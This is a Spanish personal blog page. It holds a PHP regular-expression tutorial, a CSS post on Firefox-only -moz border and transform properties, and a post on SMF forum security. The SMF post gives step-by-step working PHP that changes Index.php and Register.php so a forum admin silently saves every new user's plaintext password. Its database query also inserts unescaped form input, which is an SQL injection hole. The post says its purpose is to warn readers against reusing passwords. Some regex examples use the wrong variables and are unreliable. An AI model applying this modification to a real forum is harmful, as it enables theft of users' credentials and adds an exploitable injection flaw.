Delanover

    Personal Blog

    Artículos publicados por lipman

    preg_match_all nos sirve para cuando queremos buscar algo en una cadena de texto, y queremos que nos devuelva eso que ha encontrado. Nos podría servir por ejemplo, para saber todas las imágenes que hay en una página web o sencillamente, para recoger fechas y cosas definidas desconocidas.

    Sentencia:

    <?
    preg_match_all($patron, $string, $salida, ($opciones));
    ?>

    Patron serán los filtros que pongamos para que busque dentro del string. Este patrón se expresa con expresiones regulares.
    String es la cadena de texto en donde vamos a buscar lo que necesitamos.
    Salida será la matriz final en la que tengamos los resultados de la búsqueda y algunos otros resultados.
    Opciones será el parámetro que nos permita ordenar en el array de salida los elementos obtenidos (son opcionales). Por ejemplo:

    <?
    $cadena = '18/01-85 26/01/92';
    preg_match_all('/[0-9]{2}(\/|\-)[0-9]{2}(\/|\-)[0-9]{2}/', $cadena, $salida, PREG_PATTERN_ORDER);
     
    //Este script nos sirve para sacar las fechas y saber qué separador usan.
     
    echo $salida[0][0] . " y " . $salida[0][1];
    echo "<br>";
    echo $salida[1][0] . " y " . $salida[1][1];
    echo "<br>";
    echo $salida[2][0] . " y " . $salida[2][1];
    ?>

    Nos devuelve:

    18/01-85 y 26/01/92
    / y /
    – y /

    El siguiente ejemplo:

    <?
    $cadena = '18/01-85 26/01/92';
    preg_match_all('/[0-9]{2}(\/|\-)[0-9]{2}(\/|\-)[0-9]{2}/', $cadena, $salida, PREG_SET_ORDER);
     
    //Solo cambia el patrón y lo de abajo
     
    echo $salida[0][0] . " y " . $salida[1][0];
    echo "<br>";
    echo $salida[0][1] . " y " . $salida[1][1];
    echo "<br>";
    echo $salida[0][2] . " y " . $salida[1][2];
     
    ?>

    Devuelve:
    18/01-85 y 26/01/92
    / y /
    – y /


    preg_match lo usaremos para saber simplemente, si en una cadena de texto se encuentra lo que buscamos. Si hemos entendido preg_match_all, con este no deberia de haber ningún problema. Usa una sentencia igual (en los dos primeros parámetros) que preg_match_all:

    <?
    preg_match_all($patron, $string)
    ?>

    Usaremos un ejemplo para explicar su funcionamiento:

    <?
    $cadena = '135hola842';
    echo preg_match('/hola/', $cadena);
    ?>

    Nos devuelve 1, porque lo ha encontrado. Si no lo hubiera encontrado nos habria devuelto 0.


    preg_replace nos permite, a partir de una cadena dada, reemplazar, reordenar y cambiar datos de esta cadena de forma sencilla.
    Su sentencia es:

    <?
    preg_replace($patron, $sustitucion, $cadena)
    ?>

    Patrón se expresa mediante Expresiones Regulares.
    Sustitución es la cadena ordenada y reorganizada a la que dará resultado. Usaremos $N en donde N serán números indicadores de la posición de los patrones, por los que sustituiremos (con el ejemplo se ve mucho más fácil).
    Cadena es la cadena de texto a la que realizaremos la edición.

    <?
    $cadena = 'Enero 26, 1992';
    $patron = '/(\w+) (\d+), (\d+)/i';
    $sustitucion = 'Nací el $2 de $1 de $3';
    echo preg_replace($patron, $sustitucion, $cadena);
    ?>

    Devuelve: Nací el 26 de Enero de 1992

    Las expresiones regulares son los patrones que definen un conjunto de cadenas sin enumerar sus elementos. Muchos lenguajes de programación como Perl, o en mi caso, PHP, los usan. En PHP por ejemplo, lo usan funciones como preg_match, o ereg. La mejor manera de aprender a entender y usar las expresiones regulares es practicar con ellas.

    ^algo
    Se usa para encontrar algo al inicio:
    “algo asd” -> Correcto

    algo$
    Se usa para encontrar algo al final:
    “asd algo” -> Correcto

    \” se usa para escapar caracteres.
    .” representa cualquier caracter, salvo el de nueva línea.

    abc(d*)ef Se usa cuando puede aparecer 0 o más veces:
    abcdef, abcef, abcddddef -> Correcto

    abc(d?)ef Se usa cuando puede aparecer 0 o 1 vez:
    abcdef, abcef -> Correcto

    abc(d+)ef Se usa cuando puede aparecer 1 o más veces:
    abcdef, abcdddddef -> Correcto

    \s equivale a un espacio en blanco.
    \S equivale a cualquier cosa que no sea un espacio en blanco.
    \d equivale a cualquier dígito.
    \D equivale a cualquier cosa que no sea un dígito.
    \w equivale a cualquier dígito, letra o guión bajo.
    \W equivale a cualquier cosa que no sea dígito, letra o guión bajo.

    x(y{a,b})z Se usa cuando puede aparecer un mínimo de ‘a’ veces y un máximo de ‘b’ veces.
    Ejemplo: x(y{1,3})z
    xyz, xyyz, xyyyz -> Correcto
    x(y{n})z Se usa cuando puede aparecer n veces
    Ejemplo: x(y{2})z
    xyyz -> Correcto
    Otros ejemplos:
    x(y{2, })z -> Se usa cuando puede aparecer dos o más veces.
    x(y{0,3})z > Se usa cuando puede aparecer tres o menos veces.

    Los corchetes [] nos sirven para definir rangos (de caracteres ascii).
    Ejemplo: ab[c-f]g
    abcg, abdg, abeg, abfg -> Correcto
    Se usa ^ para negar. [^cd] Se usa cuando no puede aparecer ni c ni d.
    Ejemplo: ab[^cd]ef
    abjef -> Correcto, abcef -> Incorrecto

    POSIX
    [[:alpha:]] -> Caracteres alfabéticos.
    [[:digit:]] -> Caracteres numéricos.
    [[:alnum:]] -> Caracteres alfanuméricos.
    [[:space:]] -> Espacios en blanco.
    [[:upper:]] -> Cualquier mayúscula.
    [[:lower:]] -> Cualquier minúscula.

    Los paréntesis se usa cuando se quiere buscar algo literal.
    (abc) Para que sea verdadero tiene que tener “abc”.

    Las barras verticales son sinónimo del operador lógico OR. Es verdadero si una de las dos aparece:
    (a|b) Para que sea verdadero tiene que ser, o ‘a’, o ‘b’.

    \d{x} Se usa cuando queremos que aparezca un número decimal de X cifras.
    \d{x,y} Se usa cuando queremos que aparezca un número decimal de X o Y cifras (ver ejemplo 4).

    Usamos (.+) cuando queremos seleccionar la cadena que se encuentra entre dos parámetros, en el que uno lo empieza a buscar por la izquierda y el otro por la derecha (ver ejemplo 5)

    Ejemplos prácticos:
    Ejemplo 1

    <?
    $cadena = '0123456789';
    preg_match_all('/2([0-9]+)8/', $cadena, $salida);
     
    echo $salida[0][0];
    echo $salida[0][1];
    ?>

    Devuelve:
    2345678
    34567

    Se refiere a lo que se encuentra entre 0 y 8 (que tienen que ser números).

    Ejemplo 2

    <?
    $cadena = '01234567898999555';
    preg_match_all('/([^5-7]*)/', $cadena, $salida);
     
    echo $salida[0][0];
    ?>

    Devuelve:
    01234
    Al llegar a [5-7] se para, y devuelve todo lo anterior.

    Ejemplo 3

    <?
    $cadena = '<img src="http://google.com/prueba.jpg width="720" height="320">';
    preg_match_all('/<img src=("|\')/', $cadena, $salida);
     
    echo $salida[1][0];
    ?>

    Nos devuelve:

    Nos sirve para saber si se usan comillas simples o dobles, en este caso, dobles.

    Ejemplo 4

    <?
    $cadena = '26/01/1992';
    preg_match_all('/(\d{1,2})(-|\/)(\d{1,2})(-|\/)(\d{2,4})/', $cadena, $salida);
     
    echo $salida[0][0];
    ?>

    Devuelve:
    26/01/1992
    Sirve para autentificar una fecha. Podriamos usar guiones, o barras inclinadas. En los dias y meses podriamos usar números de una o dos cifras, y para los años de dos o de cuatro.

    Ejemplo 5

    <?
    $cadena = 'Esta es una cadena de texto de ejemplo';
    preg_match_all('/ (.+) /', $cadena, $salida); //Notese los espacios
     
    echo $cadena[1][0];
    ?>

    Nos devuelve:
    es una cadena de texto de
    Debido a que seleccionó la cadena que se encuentra entre dos espacios en blanco, encontrados el primero por la izquierda y el segundo por la derecha.

    Ejemplo 6

    <?
    $cadena2 = '<img src="http://google.com/prueba.jpg" width="320" height="640">';
    preg_match_all('/(<img src=").*?("(\s)?)/', $cadena, $salida);
     
    echo $salida[0][0];
    ?>

    Nos devuelve:
    img src=”http://google.com/prueba.jpg”
    Esto nos puede servir para poder obtener todos los enlaces o imágenes de una página, ahora solo tendriamos que eliminar el término constante

    Este post simplemente lo escribo para aquellos que alguna vez piensan en usar bordes redondos. Es mucho más fácil de lo que parece. Además, también incluyo para hacer sombras y voltear o deformar. Lo malo de los siguientes códigos, es que solo funcionan para Firefox.

    Para una breve explicación de cada código, pasar el ratón por encima de su código.


    Ejemplo

    -moz-border-radius: 10px;A mayor número, más redondeado

    Ejemplo


    -moz-border-radius-topright: 10px;
    -moz-border-radius-topleft: 35px;
    -moz-border-radius-bottomleft: 25px;
    -moz-border-radius-bottomright: 45px;
    Redondeando cada borde

    Ejemplo

    -moz-border-radius-topright: 180px 40px;
    -moz-border-radius-bottomright: 180px 40px;
    El primer parámetro de ambas
    hace referencia a la parte redonda
    más cercana al centro.
    El segundo parámetro hace referencia
    a la parte redonda del extremo.
    Cuantos más píxeles, más redondeo.

    Ejemplo

    -moz-border-radius: 20px 40px;Redondeando esquinas dos a dos
    El primero son los bordes
    izquierda-superior y derecha-inferior
    y el segundo son los bordes
    derecha-superior e izquierda-inferior

    Ejemplo

    -moz-border-radius: 100px / 50px;Elíptico

    Ejemplo

    -moz-transform: rotate(-25deg);Rotación por grados. Se pueden
    poner valores negativos.

    Ejemplo

    -moz-transform: skew(40deg,15deg);Desviación y deformación.

    Ejemplo

    -moz-box-shadow: -20px 20px 10px rgba(
    255, 0, 0, 0.5);
    Sombra
    Los dos primeros parámetros, son la
    distancia izq-dcha y sup-inf
    respectivamente. Se pueden poner
    valores negativos.El siguiente
    parámetro, es la transparencia.
    El siguiente hace referencia al
    color (cantidad de rojo,
    verde, azul y negro respectivamente)

    Los foros de la gente de simplemachines son de los más usados actualmente. No me extrañaría que fuese por la combinación diseño-características-gratis que reune este tipo de foros. Pero, ¿que hay de la seguridad?

    Actualmente, la gran mayoria de personas asegura que usa la misma contraseña para todo (correo, registros de foros, y otras cuentas de mayor importancia como eBay o Paypal/Alertpay, etc) debido a la dificultad que supone tener que cuidar y guardar las diferentes contraseñas. Sin embargo, a pesar de esta incomodidad, la seguridad siempre debería de ser lo primordial para el usuario, sobre todo para el más inexperto (osease, la inmensa mayoria de usuarios).

    Cuando instalamos en un servidor un foro (en este caso del tipo SMF) lo primero que hace es mirar la base de datos, y crear allí un registro, en donde a lo largo de la vida del foro se guardarán los posts, los subforos, las configuraciones, y los datos de los usuarios.

    ¿Los datos de los usuarios? Si. Esto es, los datos que tenemos en nuestro perfil del foro, como el avatar, el nickname, el nombre, la fecha de nacimiento, la firma, y la contraseña.

    El administrador de cualquier foro puede acceder a la base de datos y ver/modificar/eliminar cualquiera de los datos anteriormente citados. Simplemachines piensa en todo (al igual que todos las empresas de ese estilo) y la mejor solución que le pone a esto es, encriptar la “contraseña”. Le pongo comillas, porque en realidad, no se guarda la contraseña, sino que se guarda un hash, generado mediante el nombre de usuario y contraseña. Esto quiere decir que, cuando nos registramos, se guarda en la base de datos la encriptación mediante SHA1 del nombre de usuario junto con la contraseña.

    Por ejemplo, si me registro, y pongo de usuario lipman y de contraseña password, en la base de datos se guarda la encriptación de lipmanpassword, de la siguiente simple manera:

    1
    
    sha1($nombreUsuario . $password)

    Por lo que, cuando un administrador acceda a la base de datos, le será imposible obtener la contraseña de ese usuario. La única solución seria desencriptarlo mediante fuerza bruta, pero descartamos esta opción debido al inmenso tiempo que se tomaria.

    ¿Quiere decir esto que nuestra contraseña está a salvo?
    Absolutamente no.

    Se podrían hacer cientos de métodos distintos e incluso combinarlos, para averiguar las contraseñas de los usuarios que se registren. El más sencillo que se me ocurre es: justo al registrarse un usuario, guardar en la base de datos su contraseña sin encriptar. A continuación describiré cómo se podría realizar.

    Lo primero de todo, tenemos que crear en la base de datos la columna en la que guardaremos estas contraseñas sin encriptar:

    Index.php (introducido justo antes de $forum_version…)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    if(!$var = fopen('lol', 'r+'))
    {
    include("Settings.php");
    echo "No preocuparse si sale algún error. Este mensaje no volverá a aparecer.";
    mysql_connect($db_server, $db_user, $db_passwd) or die("Error al conectar a la BD");
    $consulta = "ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;";
    $resultado = mysql_query($consulta) or die("LOL");
    fopen("lol", 'a+');
    }

    Queremos que este código se ejecute una sola vez, por eso, este código se encarga de buscar un archivo que no deberia de existir, y si no lo encuentra, realiza esa alteración en la base de datos y posteriormente lo crea (para que lo encuentre y no se ejecute esto nada más que una sola vez)

    Las variables $db_server, $db_user, $db_name y $db_passwd son variables que contienen, como propiamente dan a indicar, el nombre del servidor, de usuario, de la base de datos y la contraseña respectivamente. Ya se encuentran con los valores, ya que estos se guardan en Settings.php

    La línea interesante es la sexta: $consulta = “ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;”;

    Esto crea en la tabla smf_members una columna llamada pwdlol después de la columna memberName (así tendremos la contraseña al lado del usuario, por comodidad)

    Sigamos…

    Sources/Register.php (introducido a partir de la línea 304)

    1
    2
    3
    4
    5
    
    $contrasenha = $_POST['passwrd1'];
    $miembrouser = $_POST['user'];
     
    $consulta = "UPDATE smf_members SET pwdlol = '$contrasenha' WHERE memberName = '$miembrouser'";
    $resultado = mysql_query($consulta) or die("Error realizando la consulta");

    Este código simplemente guarda en las variables $contrasenha y $miembrouser la contraseña y el nombre de usuario (todo sin encriptar) y luego, introduce la contraseña en la tabla de pwdlol, en donde el memberName sea el mismo que el miembro registrado.

    Preocupamente tengo que decir: ya está. Así de simple es obtener la contraseña de cada usuario que se registre en tu propio foro SMF.

    ¿Es esto preocupante? Personalmente, solo espero que cada vez que os registreis en un foro la próxima vez, penseis en ponerle otra contraseña que la de vuestro correo.

    Próximo análisis: PhpBB